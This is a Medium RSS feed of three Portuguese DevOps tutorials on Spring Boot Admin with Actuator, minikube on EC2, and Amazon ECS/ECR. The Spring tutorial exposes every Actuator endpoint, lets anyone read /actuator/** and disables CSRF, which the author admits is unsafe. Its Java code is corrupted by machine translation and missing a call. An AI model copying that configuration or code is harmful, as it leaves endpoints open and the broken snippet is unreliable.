<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Murilo Henrique on Medium]]></title>
        <description><![CDATA[Stories by Murilo Henrique on Medium]]></description>
        <link>https://medium.com/@murilothink?source=rss-93de4ef7e958------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*VTmVorZVZFRhgwFU.jpg</url>
            <title>Stories by Murilo Henrique on Medium</title>
            <link>https://medium.com/@murilothink?source=rss-93de4ef7e958------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 09:30:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@murilothink/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Monitorando sua API Spring com SBA e Actuator]]></title>
            <link>https://medium.com/devshift/monitorando-sua-api-spring-com-sba-e-actuator-15b3d0f46df8?source=rss-93de4ef7e958------2</link>
            <guid isPermaLink="false">https://medium.com/p/15b3d0f46df8</guid>
            <category><![CDATA[spring-boot]]></category>
            <category><![CDATA[spring-sba]]></category>
            <category><![CDATA[spring]]></category>
            <category><![CDATA[spring-admin]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Murilo Henrique]]></dc:creator>
            <pubDate>Wed, 20 May 2020 18:51:04 GMT</pubDate>
            <atom:updated>2020-05-20T19:07:02.745Z</atom:updated>
            <content:encoded><![CDATA[<p>Olá, se você esta procurando uma maneira fácil de integrar um Servidor de monitoramento em sua API Spring Boot você esta no lugar certo. Nesse artigo irei apresentar para vocês o Spring Boot Admin, ou conhecido também com SBA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/0*qNpCdG6BKnR9V_JW" /></figure><p>O SBA é um servidor com uma integração fácil que ajuda no monitoramento da saúde da sua API. Além disso, o servidor é muito usado por grandes empresas para o monitoramento da infra de micro serviços.</p><p>Lembrando que o SBA foi criado por uma empresa Alemã para solucionar no monitoramento das API’s REST em Spring Boot.</p><h4>Arquitetura</h4><p>Usarei esse exemplo para vocês consigam absorver a ideia do do SBA. Então teremos um servidor que será nosso Spring Admin e as API’s Clientes conectadas à ele.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*NvIeeh17QckpnYNV.png" /></figure><h4>1. Configuração</h4><p>Usarei uma API simples criada anteriormente para que nosso cliente.</p><p>Você pode simplesmente gerar o seu clicando <a href="https://start.spring.io/#!type=maven-project&amp;language=java&amp;platformVersion=2.1.11.RELEASE&amp;packaging=jar&amp;jvmVersion=1.8&amp;groupId=com.tahaburak&amp;artifactId=atua&amp;name=atua&amp;description=simple%20spring%20boot%20project%20for%20spring%20boot%20admin&amp;packageName=com.tahaburak.atua&amp;dependencies=web,codecentric-spring-boot-admin-server">neste link</a> e personalizá-lo. De qualquer forma, adicionarei a minha versão final ao final deste artigo. (A partir deste ponto, você pode fechar esta página e continuar a partir <a href="https://codecentric.github.io/spring-boot-admin/2.1.6/">do</a> próprio da configuração do cliente .)</p><p>Após gerar o projeto iremos colar os seguintes comandos no arquivo <em>applications.properties</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*H8aDmkI4tnoDyUlGvlJ83w.png" /></figure><p>Este aplicativo de administração requer 2 dependências: Spring Boot Admin propriamente dito e Spring Web. Portanto, verifique se o arquivo <em>pom.xml</em> possui as seguintes linhas:</p><pre>&lt;dependency&gt;<br>   &lt;groupId&gt;de.codecentric&lt;/groupId&gt;<br>   &lt;artifactId&gt;spring-boot-admin-starter-server&lt;/artifactId&gt;<br>   &lt;version&gt;2.2.3&lt;/version&gt;<br>&lt;/dependency&gt;&lt;dependency&gt;<br>&lt;dependency&gt;<br>   &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;<br>   &lt;artifactId&gt;spring-boot-starter-web&lt;/artifactId&gt;<br>&lt;/dependency&gt;</pre><p>Depois disso, adicione estas 2 anotações à classe inicial do seu aplicativo para tornar a configuração do Spring Boot Admin acessível pelo seu aplicativo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ucZj37QVRYcQ4cBgpOcag.png" /></figure><p>No entanto, se você estiver criando um aplicativo de administrador, deverá ter algum nível de segurança. Então, vamos adicionar a dependência do Spring Security ao nosso projeto e criar uma classe de configuração que lida com solicitações.</p><pre>&lt;dependency&gt; <br>   &lt;groupId&gt; org.springframework.boot &lt;/groupId&gt; <br>   &lt;artifactId&gt; spring-boot-starter-security &lt;/artifactId&gt; </pre><pre><br>&lt;/dependency&gt;</pre><p>Crie uma Pasta e crie <em>SecuritySecureConfig.java</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*QiDCN5F0P6AtBy9bw8BhkQ.png" /></figure><p>Vai melhorar se você <a href="https://github.com/tahaburak/atua/blob/master/src/main/java/com/tahaburak/atua/config/SecuritySecureConfig.java">clicar neste link</a> para visualizar esta classe. SecuritySecureConfig.java fornece o seguinte:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gXvZk05zRV2jqhTF8WefCg.png" /></figure><p>Concede acesso público a todos os ativos estáticos e à página de login.</p><ul><li>Qualquer outra solicitação deve ser autenticada.</li><li>Configura o logon e logout.</li><li>Ativa o suporte HTTP-Basic. Isso é necessário para o Spring Boot Admin Client se registrar.</li><li>Ativa a proteção CSRF usando cookies.</li><li>Desativa a proteção CRSF, o ponto de extremidade que o Spring Boot Admin Client usa para se registrar.</li><li>Desativa a proteção CRSF para os pontos de extremidade do atuador.</li></ul><p>Agora que esta rodando, iremos entrar no painel. Nesse ponto, você pode simplesmente executá-lo e visitar <a href="http://localhost:2882/">http: // localhost: 8081/</a> para a seguinte tela.</p><p>Seu usuário e senha esta definido no arquivo <em>applications.properties</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*mFSNiG_Bg-vR2M621v8WxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/0*XyIRU99isC-Rb0UM.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6XJ3oTzk50OB72Qz.png" /></figure><h4>2. Cliente</h4><p>Para integrar um aplicativo Spring Boot a um aplicativo Admin, precisamos seguir algumas etapas. Visite o arquivo <em>pom.xml</em> do seu aplicativo candidato à cliente e adicione a seguinte dependência:</p><pre>&lt;dependency&gt;<br>   &lt;groupId&gt;de.codecentric&lt;/groupId&gt;<br>   &lt;artifactId&gt;spring-boot-admin-starter-client&lt;/artifactId&gt;<br>   &lt;version&gt;2.2.2&lt;/version&gt;<br>&lt;/dependency&gt;<br>&lt;dependency&gt;<br>   &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;<br>   &lt;artifactId&gt;spring-boot-starter-actuator&lt;/artifactId&gt;<br>&lt;/dependency&gt;<br>&lt;dependency&gt;<br>   &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;<br>   &lt;artifactId&gt;spring-boot-starter-security&lt;/artifactId&gt;<br>&lt;/dependency&gt;</pre><p>E ajuste o arquivo <em>applications.properties</em> como tal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2AD9A14ThyTWwIf-y7h-jg.png" /></figure><p>Deixe-me explicar um pouco:</p><ul><li>O URL que fornecemos é o endereço que o aplicativo Admin está executando no momento.</li><li>Expusemos todos os pontos de extremidade, já que estamos trabalhando em aplicativos simples e que servem apenas os artigos. Mas essa certamente não é uma abordagem segura.</li><li>Se o endereço em que você executa o aplicativo tiver um nome de domínio específico (como localhost), você poderá mostrá-lo na interface do administrador. No entanto, eu prefiro mostrar o ip.</li><li>O Spring Boot Admin pode mostrar o arquivo de log ou alterar seus níveis de log. No entanto, nosso aplicativo não possui nenhum arquivo de log no momento. Então, eu apenas comentei isso.</li></ul><p>Precisamos tornar os terminais do atuador acessíveis criando uma nova classe em um novo pacote chamado <em>config</em> .</p><p>SecurityPermitAllConfig.java</p><pre>@Configuration <br>public class SecurityPermitAllConfig estende o WebSecurityConfigurerAdapter { <br>  @Override <br>  protected void configure (HttpSecurity http) lança a exceção { <br>.antMatchers(  HttpMethod.<em>GET</em>, &quot;/actuator/**&quot;).permitAll()<br>                .anyRequest().authenticated()<br>                .and().csrf().disable()<br>               .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.<em>STATELESS</em>)<br>                       ;<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IMj6Doij-RVOjN1mL3CAGQ.png" /></figure><blockquote>Para você ver os detalhes e métricas, pasta ir em Wallboard e clicar no microserviço online.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fUHgf4O5SyvgjWqZUx5Eqg.png" /></figure><p><a href="https://github.com/murilothink">GitHub</a> | <a href="https://www.linkedin.com/in/murilohenriquegomes/">Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15b3d0f46df8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/devshift/monitorando-sua-api-spring-com-sba-e-actuator-15b3d0f46df8">Monitorando sua API Spring com SBA e Actuator</a> was originally published in <a href="https://medium.com/devshift">devshift</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Amazon EKS: Gerenciando aplicações conteinerizadas com Kubernetes. (Testando aplicação. Parte I)]]></title>
            <link>https://medium.com/@murilothink/amazon-eks-gerenciando-aplica%C3%A7%C3%B5es-conteinerizadas-com-kubernetes-testando-aplica%C3%A7%C3%A3o-parte-i-72761f777bd0?source=rss-93de4ef7e958------2</link>
            <guid isPermaLink="false">https://medium.com/p/72761f777bd0</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[k8s]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[ec2]]></category>
            <dc:creator><![CDATA[Murilo Henrique]]></dc:creator>
            <pubDate>Thu, 09 Apr 2020 19:10:11 GMT</pubDate>
            <atom:updated>2020-04-09T19:10:11.650Z</atom:updated>
            <content:encoded><![CDATA[<p>O Amazon Elastic Kubernetes Service (Amazon EKS) é um serviço <a href="https://aws.amazon.com/kubernetes/">Kubernetes</a> totalmente gerenciado. Clientes como a Intel, Snap, Intuit, GoDaddy e Autodesk confiam no EKS para executar seus aplicativos mais confidenciais e essenciais à missão devido à segurança, confiabilidade e escalabilidade.</p><h4>O que iremos aprender aqui:</h4><p>Como preparar o ambiente de homologação</p><ul><li>Instalação do <em>Kubernetes command-line tool</em> (kubectl), Docker e Minikube na EC2</li><li>Inicialização do Minikube</li><li>Teste do ambiente com o <strong>hello-minikube</strong> de exemplo</li><li>Exposição da porta do <strong>hello-minikube</strong></li><li>Como fazer o <em>deploy</em> e criar o serviço do Redis Master</li><li>Como fazer o <em>deploy</em> e criar o serviço do Redis Slave</li><li>Como fazer o <em>deploy</em> e criar o serviço do front-end da aplicação</li><li>O teste da aplicação</li></ul><h4>Como ele funciona ?</h4><p>Vamos ter as O Cluster e as instancias EC2 e ele ira servir servir como nós, e todo essa gerencia ser feita pelo K8s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0QX8QMf2JCEiGdeL.png" /></figure><h3>Criando nossa EC2</h3><p>Primeiros iremos criar nossa maquina EC2, dessa vez iremos escolher essa opção. Lembrando que o processo de criação é o mesmo. Nesse tutorial eu usei a <em>t3.small.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*V_r3qMVqzkFowrjyRb7Kgw.png" /></figure><h4>Fazendo SSH</h4><p>O próximo passo é realizar a conexão da maquina criada com ssh. Então como você já sabe é o mesmo processo. Clique em <em>CONNECT.</em></p><h4>Instalando K8S MacOs</h4><pre>curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.18.0/bin/darwin/amd64/kubectl</pre><pre>#Permissão </pre><pre>chmod +x kubectl</pre><pre>#Movendo para os Binários</pre><pre>sudo mv kubectl /usr/local/bin</pre><pre>#Teste</pre><pre>kubectl help</pre><h4>Instalando Docker Linux</h4><pre>sudo apt-get update</pre><pre>sudo apt-get install docker.io</pre><pre>#Teste</pre><pre>docker </pre><h4>Instalando Minikube</h4><pre>curl -Lo minikube https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 <strong>\<br></strong>  &amp;&amp; chmod +x minikube</pre><pre>#Super Usuario</pre><pre>su</pre><pre>#Iniciando Minikube</pre><pre>minikube start --vm-drive-none</pre><p>Depois da “instalação” e inicialização do minikube você verá algo parecido com isso.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*Chs33KuzBebGsecCxI8nsQ.png" /></figure><p>O Minikube da algumas orientações de configurações que devemos realizar. Bora realizar elas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iuO6mJC1m4SjfwGhfXdn0Q.png" /></figure><h4>Visualizando Status</h4><pre>minikube status</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*xmUDY4qCNpTL3pM5bB7ylQ.png" /></figure><h4>Configuração.</h4><p>Iremos entrar no .kube/config e configura o path da nossa maquina para que possamos subir nossa imagem.</p><p>Então entramos nas configurações.</p><p>.kube/config</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*gKhHZdziIttA5NTQy0tbVw.png" /></figure><p>E iremos realizar essas configurações.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*6427ImysLPN2WC-q5GZt3g.png" /></figure><h3>Testando nossa aplicação.</h3><ul><li>Realizar o teste do ambiente com o <strong>hello-minikube</strong> de exemplo:</li></ul><pre>kubectl create run hello-minikube --image=gcr.io/google_containers/echoserver:1.4 -- port=8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*llWMWqZtr_nMGKMXEdGqKA.png" /></figure><ul><li>Expor a porta do <strong>hello-minikube</strong>:</li></ul><pre>kubectl expose deployment hello-minikube --type=NodePort</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*KXZDmT5EuVHQLhCUR0p9cw.png" /></figure><h4>Criando Security Group</h4><p>Criar um <em>security group</em> para o <strong>minikube</strong> e associá-lo à sua instância</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*phiLFvNfP4SsRwHGrp57kg.png" /></figure><h4>Associando nossa instancia no Security Group.</h4><p>Vá em <em>Instances &gt;&gt; Actions &gt;&gt; Network &gt;&gt; Change Security Group</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7jt-z-13OyYiNxTGXz4oHw.png" /></figure><h3>Testando na local</h3><p>Para que possamos testar nossa aplicação deixei caso vocês precisem toda a documentação no meu <a href="https://github.com/murilothink/aws-com-kubernetes">GitHub</a>. Mas, você também pode fazer seguindo os comandos abaixo.</p><h4>Siga o passo a passo para o Deploy</h4><h4>1. Subindo nosso banco</h4><pre>kubectl apply -f <a href="https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/redis-master-deployment.yaml">https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/redis-master-deployment.yaml</a></pre><h4>2. Criando o serviço Redis Master (comunicação da app com o redis para gravação dos dados)</h4><pre>kubectl apply -f <a href="https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/redis-master-service.yaml">https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/redis-master-service.yaml</a></pre><h4>3. Visualizando os Pods e Services criados</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*_sL4WRYuCAD9tGRpUtl-6A.png" /></figure><h4>4. Deploy do Redis Slave</h4><pre>kubectl apply -f <a href="https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/redis-slave-deployment.yaml">https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/redis-slave-deployment.yaml</a></pre><h4>5. Criando o serviço Redis Slave (comunicação da app com o redis para a leitura dos dados)</h4><pre>kubectl apply -f <a href="https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/redis-slave-service.yaml">https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/redis-slave-service.yaml</a></pre><h4>6. Deploy do Frontend</h4><pre>kubectl apply -f <a href="https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/frontend-deployment.yaml">https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/frontend-deployment.yaml</a></pre><h4>7. Criando o serviço do Frontend</h4><pre>kubectl apply -f <a href="https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/frontend-service.yaml">https://raw.githubusercontent.com/ricardomerces/guestbook-app/master/frontend-service.yaml</a></pre><h4>8. Visualizando o resultado</h4><pre>kubectl get all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*JsXK-zBS44Ohrxhg3Zf92Q.png" /></figure><h4>Testando nossa aplicação na AWS.</h4><p>Agora que já estamos ambientado e nossas aplicações já estão rodando, a ideia e colocarmos ela para rodar la na AWS.</p><p>Como fazemos isso? Para realizar esse procedimento e preciso alterar a porta do Security Group que criamos anteriormente.</p><p>Nós devemos colocar a porta do service frontend que é</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*0MC8NTZFj3jMQGdzIalgng.png" /></figure><p>E ficará assim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*diNJSPhCVFsmQb_E9iesuQ.png" /></figure><p>Copie o IP da sua instancia. 54.152.126.46</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4A0S7nevT8GZZXPoxFD0Hg.png" /></figure><p>Cole em seu navegador <a href="https://54.152.126.46:[porta_do"><em>https://54.152.126.46:[</em></a><em>portaQueColocamosNoSecurityGroup]</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wsusTjT93etwvQtCx8vWyw.png" /></figure><p>Como vimos, nossa aplicação está funcionando perfeitamente. Agora o próximo passo é criarmos nossa rede VPC, Cluster e Criação dos nodes.</p><p>Para não ficar grande e cansativo iremos realizar esse procedimento na parte II do artigo.</p><p><a href="https://github.com/murilothink">GitHub </a>| <a href="https://www.linkedin.com/in/murilohenriquegomes/">Linkedin</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/0*_Q4D1JTo5sjjple1.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72761f777bd0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Amazon ECS: Gerencie Docker na Nuvem da AWS.]]></title>
            <link>https://medium.com/devshift/amazon-ecs-gerencie-docker-na-nuvem-da-aws-df7fd7bc519c?source=rss-93de4ef7e958------2</link>
            <guid isPermaLink="false">https://medium.com/p/df7fd7bc519c</guid>
            <category><![CDATA[aws-ecs]]></category>
            <category><![CDATA[amazon]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[web-services]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[Murilo Henrique]]></dc:creator>
            <pubDate>Sun, 05 Apr 2020 15:55:48 GMT</pubDate>
            <atom:updated>2023-01-14T22:29:20.073Z</atom:updated>
            <content:encoded><![CDATA[<p>Esse artigo vai explicar como subir seu contêiner com ECS em seu Cluster EC2. Como exemplo usei uma API do docker hub bem simples, para criação da nossa imagem na ECR.</p><p>O Amazon ECS facilita a implantação, o gerenciamento e a escalabilidade de contêineres do Docker executando aplicativos, serviços e processos em lote. O Amazon ECS coloca contêineres no cluster com base nas necessidades de recursos e é integrado a recursos familiares, como o Elastic Load Balancing, grupos de segurança EC2, volumes EBS e funções IAM.</p><p>Nesse artigo é preciso ter como conhecimento básico o modelo Amazon EC2.</p><blockquote>Antes de começamos e importante que você dê uma lida na documentação de preço do Amazon ECS</blockquote><p>Link: <a href="https://aws.amazon.com/pt/fargate/pricing/">https://aws.amazon.com/pt/fargate/pricing/</a></p><h3><strong>Roteiro que iremos seguir nesse artigo.</strong></h3><blockquote><strong>1. Criando o primeiro Hello World com PHP de maneira simples com fargate</strong></blockquote><blockquote><strong>2. Criando o nosso cluster EC2</strong></blockquote><blockquote><strong>3. Trabalhando com Docker e ECR</strong></blockquote><h3>1. Criando o primeiro Hello World com PHP de maneira simples com fargate</h3><p>Logo abaixo, vemos um Diagrama dos Objetos ECS, e como eles se relacionam dentro do Cluster</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*bgfFPS1vvA8MUIS2_UoP3g.png" /></figure><blockquote><strong>Container Definition:</strong> A imagem docker</blockquote><blockquote><strong>Task Definitions:</strong> Parametros para imagem rodar. Ex: Quantidade Memoria e CPU.</blockquote><blockquote><strong>Service: </strong>Você pode criar um serviço para administrar ou criar mais containers.</blockquote><blockquote><strong>Cluster: </strong>Agrupamento de instancias</blockquote><p>Agora iremos criar um o nosso primeiro serviço usando um sample-app, sugerido pela AWS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*k1XsavHNqkxXddzdu-v95g.png" /></figure><p>Logo abaixo, vemos a configuração da nossa maquina. Nossa maquina é uma maquina simples que irá rodar apenas uma aplicação PHP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*tqzS2aOPQfFHzh90q3w-uw.png" /></figure><p>O próximo passo é deixar tudo default e seguir com a criação do nosso Cluster apertando <strong>NEXT.</strong></p><p>Depois basta apenas clicar em <strong>Visualizar serviço </strong>que poderemos analisar nosso Cluster criado conforme a primeira imagem desse Tutorial.</p><p>Nessa imagem logo abaixo podemos visualizar nosso primeira Task criada e o nosso<strong> Public IP.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4dLn-S0lebKONx48lpe83A.png" /></figure><p>Se nós copiarmos esse IP em nosso Navegador repare que iremos ser redirecionado para nosso aplicação. Isso quer dizer que nosso primeiro Hello World esta funcionando.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7psCFZypDQY91trCV93WcQ.png" /></figure><h4>Parando o Serviço</h4><p>Para você interromper o serviço é preciso atualizar o número de tarefas que programamos para que o fargate controle. Lembra que criamos apenas 1 tarefa ? Caso a gente dê<strong> Stop </strong>nessa tarefa, ela sera executada novamente.</p><p>A ideia então é atualizar nosso Serviço Cluster para ele não “Subir” nossa tarefa novamente.</p><p>Como fazemos isso ? É bem simples, em<strong> Cluster: </strong>default iremos selecionar nosso serviço e clicar em <strong>UPDATE.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aKxdMpoUcI5ync4Xlig0xA.png" /></figure><p>Com isso, iremos marcar 0 em <strong>Number of tasks.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*4_j2syr70POPWVsxN1bvnA.png" /></figure><h3><strong>2. Criando o nosso cluster EC2</strong></h3><p>Então vamos ver um segundo exemplo aqui. Marquei o <strong>EC2, Linux + Networking</strong>, ok?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BZlskulB3JEV2YvZKiFTdg.png" /></figure><p>Avancei. Qual vai ser o nome do nosso cluster? Então vamos chamar o cluster de ECS API. Que é o cluster que vai abrigar a nossa API de task, ok? Então aqui, eu vou criar ele vazio ou não.</p><blockquote>Importante</blockquote><blockquote>O que eu vou fazer? No nosso ambiente aqui, que é um ambiente de teste, eu vou usar essa aqui: t2. micro. “Ricardo, por que você está usando esse t2.micro?”. Para o pessoal que tem aquela conta gratuita, que está só estudando, se você usar a instância t2.micro ele não vai te cobrar, não vai tar lhe tarifar nada a mais. Isso aqui está dentro do pacote.</blockquote><p>Então eu vou usar esse t2.micro e, lógico, que isso aqui em produção você dimensiona conforme a tua necessidade.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*meFFf7LVMpwNzHMZ4iKFnw.png" /></figure><p>E aí tem aqueles detalhes. Como é que vai ser o modelo de provisionamento? Esse modelo aqui sob demanda você vai pagar pela instância computacional. Ou seja, vai pagar pelas instâncias EC2.</p><p>Tem um outro modelo aqui spot, que ele usa um outro recurso, vale a pena depois você vir aqui dá uma lida nisso. Ele usa instâncias “mais baratas”.</p><p>Para teste, para desenvolvimento, talvez o spot possa ser uma opção. Você depois lê e avalia isso, se é interessante para você. Aqui, olha: EC2, os tipos de instâncias. Então, para quem já fez o curso de AWS, ele mostra lá as instâncias, cada instância no resumo corresponde à capacidade, a quantidade de CPU e memória. É assim como ele configura as instâncias.</p><h4>Key pair.</h4><p>Eu já criei uma chave lá. Se você não tiver criado, pode ser que esteja em branco, você vem aqui. Então aqui a gente tem o acesso à nossa chave. Caso você não criou o par de chave, clique em <strong>EC2 Console</strong>, Ok? E cria a tua chave aqui.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5m_eLiADo4FICkN5qjHdGQ.png" /></figure><h4>Qual é a ideia da chave?</h4><p>Então vamos prestar atenção, por que a gente precisa disso? Usando o EC2 pode ser que você queira fazer algum ajuste, algum acesso à sua instância EC2. Como é que isso se faz? A gente precisa fazer um SSH para a instância e, pela AWS, a gente faz esse SSH usando chaves, certo? A gente não utiliza usuário e senha.</p><h4>Networking</h4><p>O que a gente precisa informar aqui? VPC. Eu vou criar um novo? Não, eu vou utilizar VPC que já existe. (Nesse caso eu já tenho um VPC)</p><p>Mantive o VPC, mantive as sub-redes. Grupos: o security group. Vou utilizar o que ele já criou anteriormente. EC2, container, servise, default.</p><h4>Mas e quem ainda não tem?</h4><p>Caso você não tenha, é só marcar a opção<em> Create Networking</em> e selecionar as <em>Subnets</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZkUJE5CKRTtNm4-ke6u0hA.png" /></figure><h4>Cluster criado</h4><p>Cluster criado, tá vendo? Ele fez a sequência aqui. E aqui a gente tem um sumário das informações, as redes que ele usou, até as localidades. O grupo lá e tudo mais. A gente vai visualizar isso em detalhes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S3YGKvE73R1e2NZC2oP1jA.png" /></figure><p>Enquanto isso, cria o teu cluster. Verifica essas instâncias, se estão em execução. Dá uma olhada no painel. Navega aqui entre essas opções. Para você, que por acaso ainda não tem familiaridade aqui com essa parte do EC2, te ajude aqui para gente continuar o nosso projeto. Então, daqui a pouco a gente volta, aumentando o número de instâncias do nosso cluster.</p><h4>EC2</h4><p>Se irmos até o serviço EC2 e ir acessar o Running Instances veremos que nossas instancias foram criadas.</p><p>Caso você tente apagar uma das instancias criadas, o nosso cluster criará ela novamente.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c3LW52PVkNTt76pgpDBhew.png" /></figure><h4>EC2: Editando o numero de instancias.</h4><p>Para editar o numero de instancias é preciso acessar o menu ao lado, e procurar por<em> A</em>uto Scaling &gt;&gt; Auto Scaling Group.</p><p>Após isso clique em Edit para que possamos alterar o numero de maquinas EC2 em nosso cluster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XgvkdGAHBLkVlCNkCWJkIw.png" /></figure><p>Agora, iremos alterar para 3, conforme a imagem. Podemos também definir o quantas instancias podemos ter e também o minimo e o máximo.</p><p>Nesse caso, optamos por ter 3 maquinas em funcionamento e o máximo 3 maquinas também.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QGergz4yVUGUri_U_jVdCw.png" /></figure><h4>Novas instancias em processo</h4><p>uhulll !! Conseguimos criar 3 instancias em nosso cluster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kc4txCGnC-BgdopS953SKA.png" /></figure><h3>3. Trabalhando com Docker e ECR</h3><p>Está na hora da gente subir a nossa própria aplicação, para ela funcionar dentro dessa plataforma, ok?</p><p>Então, veja só. Eu tenho uma aplicação monolítica, isso é importante. Então, se concentra nesse primeiro quadrado aqui. Eu tenho uma aplicação monolítica e dentro dela eu tenho um serviço de usuário, um serviço de threads e um serviço de posts.</p><p>É bem simples isso, tá? Onde é que você vai buscar essa aplicação de exemplo? Você vai fazer o seguinte, você entra lá no docker hub, “rmerces/api-monolítica”. E faz um pull dessa imagem aqui. Docker, pull, rmerces/api-monolítico. Ok?</p><pre>docker pull rmerces/api-monolitica</pre><pre>docker run --name api-mono -d -p 3000:3000 rmerces/api-monolitica</pre><p>Então agora que a gente já tem a nossa imagem, vamos aprender um pouquinho aqui sobre o serviço, o registry vinculado lá da ECS.</p><p>Existe um outro produto, que ele chama de ECR, lá na AWS, e ele está vinculado ao trabalho que a gente está fazendo, ou seja, ao ECS.</p><p>Qual é a ideia do ECR? Basicamente, ele é um registry privado lá dentro da AWS, então é uma ideia é essa. E com o registry você tem as opções todas de gestão de imagem, daquele controle, quem é que tem acesso.</p><blockquote>Importante</blockquote><blockquote>Caso você ficou curioso em relação do preço do ECR é so você <a href="https://aws.amazon.com/pt/ecr/pricing/">clicar aqui</a></blockquote><h4>Criando ECR</h4><p>Bora criar o ECR? Para criar o ECR é simples, em Cluster no seu ECS, você ira procurar por AMAZON ECR | Repositories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/184/1*yBuobq-CXGmPCKeVq2dwUw.png" /></figure><p>Agora iremos clicar em Create Repository para criar um repositório para nossa imagem.</p><figure><img alt="" 